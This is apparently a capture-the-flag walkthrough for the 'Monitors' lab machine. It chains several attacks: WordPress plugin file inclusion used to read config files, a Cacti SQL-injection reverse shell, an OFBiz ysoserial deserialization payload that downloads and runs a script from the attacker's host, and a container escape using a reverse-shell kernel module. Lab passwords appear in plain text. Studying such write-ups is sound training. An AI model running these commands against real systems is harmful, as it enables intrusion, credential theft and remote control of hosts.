search

Monitors

hashtag
Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.238 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.238 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

We are not allowed to access the website on port 80.

As we can see in the email address, there is the domain.htb. Let's add it to the /etc/hosts file.

nano /etc/hosts

There is virtual hosting running because using this domain we'll see a WordPress site.

If we use wpscan to enumerate the WordPress site, we'll see that it is using a plugin called wp-with-spritz.

wpscan --url http://monitors.htb/ -o wpScan -e ap,at,tt,cb,dbe,u,m

  • --url URL of the WordPress site.

  • -e ap enumerate all plugins.

  • -o save result to a file.

hashtag
Exploitation

A simple search in exploit-db.comarrow-up-right will lead to the WordPress Plugin WP with Spritz 1.0 - Remote File Inclusionarrow-up-right vulnerability. This vulnerability allows us to list local and remote files.

curl -s "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd"

As this is a WordPress site, the wp-config.php file could contain some credentials.

curl -s "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/wordpress/wp-config.php"

Indeed, it has credentials for the MySQL database, which might be helpful later. The website is running on an Apache2 web server, so we could also list the /etc/apache2/sites-enabled/000-default.conf file.

curl -s "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/apache2/sites-enabled/000-default.conf"

There is a comment at the top of the file with one more subdomain. Let's add it to the /etc/hosts file.

nano /etc/hosts

This subdomain shows a login page for a Cacti 1.2.12 server. If we try to log in as the admin user using the password we found in the wp-config.php file, we'll be able to access the website.

One SQL Injection vulnerability affects this version of Cacti.

searchsploit cacti 1.2.12

Let's move it to our current directory and rename it.

searchsploit -m php/webapps/49810.py

mv 49810.py cacti.py

The script will send a reverse shell to our machine, so first we need to set a netcat listener.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, run the script, giving the following parameters and get a shell as www-data.

python cacti.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.5 --lport 4444

hashtag
Privilege Escalation

If we list all the system services, we'll see one called cacti-backup.service.

systemctl list-unit-files --type=service

Let's find out where its configuration file is located.

find / -name cacti-backup 2>/dev/null

As we can see in its configuration file, it is running a script located in /home/marcus/.backup/.

cat /etc/systemd/system/cacti-backup.service

The backup.sh file contains new credentials.

cat /home/marcus/.backup/backup.sh

The password is valid for the marcus user, and we'll be able to grab the user flag.

su marcus

In the home directory of marcus, there is one file called note.txt.

cat note.txt

Apparently, there are docker containers running on the server. In fact, there is a process running docker-proxy on port 8443.

ps aux | grep docker

But pot 8443 is only open on the localhost.

netstat -tulpn

As port 22 is open, and we have credentials for marcus, we could do a local port forwarding of that port using SSH.

sshpass -p 'VerticalEdge2020' ssh marcus@10.10.10.238 -L 8443:127.0.0.1:8443

Now we can access the website using HTTPS on our localhost.

https://127.0.0.1:8443/

This is an Apache Tomcat/9.0.31 web server. Let's enumerate subdirectories with gobuster.

gobuster dir -u https://127.0.0.1:8443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -k

There are a lot of directories that show a 302 status, trying to redirect to somewhere. Let's choose one of them, and see where we are being redirected.

https://127.0.0.1:8443/content

We are redirected to a login page for an Apache OFBiz 17.12.01 server.

There is one Remote Command Execution vulnerability that affects this version of OFBiz.

searchsploit ofbiz 17.12.01

Let's exploit this manually. First, we need to download the ysoserial-all.jar file.

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

Then, create the shell.sh script with the following code.

nano shell.sh

Now, set a simple HTTP server where the shell.sh script is located.

python -m http.server 80

And another netcat listener on port 5555.

nc -lvnp 5555

Now, using the ysoserial-all.jar file, we need to serialize a payload that will download the shell.sh script from our machine.

/opt/jdk-15.0.1/bin/java -jar ysoserial-all.jar CommonsBeanutils1 "wget http://10.10.14.5/shell.sh -O /tmp/shell.sh" 2>/dev/null | base64 | tr -d '\n'

Now send a request to the xmlrpc of the web server with the base64 payload we created.

curl -s https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>rO0ABXNyABdqYX...B4cQB+AA14</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml' &>/dev/null

Now the script should be downloaded in the /tmp directory of the docker container. We need to do the same, but this time instead of downloading the script, we will execute it.

/opt/jdk-15.0.1/bin/java -jar ysoserial-all.jar CommonsBeanutils1 "bash /tmp/shell.sh" 2>/dev/null | base64 | tr -d '\n'

Finally, send the curl request again, but this time with the new payload, and we should gain access to the docker container as root.

curl -s https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>rO0ABXNyABdqYX...QB4cQB+AA14</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml' &>/dev/null

If we list the current capabilities, we'll see that we have the cap_sys_module capability.

capsh --print

As is explained in the article Docker Container Breakout: Abusing SYS_MODULE capability!arrow-up-right, there is a way to break out of the docker container if this capability is available. First, we need to create the reverse-shell.c file with the following code.

cd /tmp

vi reverse-shell.c

Then, create the Makefile file with the following content.

vi Makefile

Then do the compilation.

make

Now, set a netcat listener on port 6666.

nc -lvnp 6666

Finally, to trigger the exploit run the following command, and get a shell as root in the Monitors machine. Then, all we have to do is reap the harvest and take the root flag.

insmod reverse-shell.ko

Last updated

Was this helpful?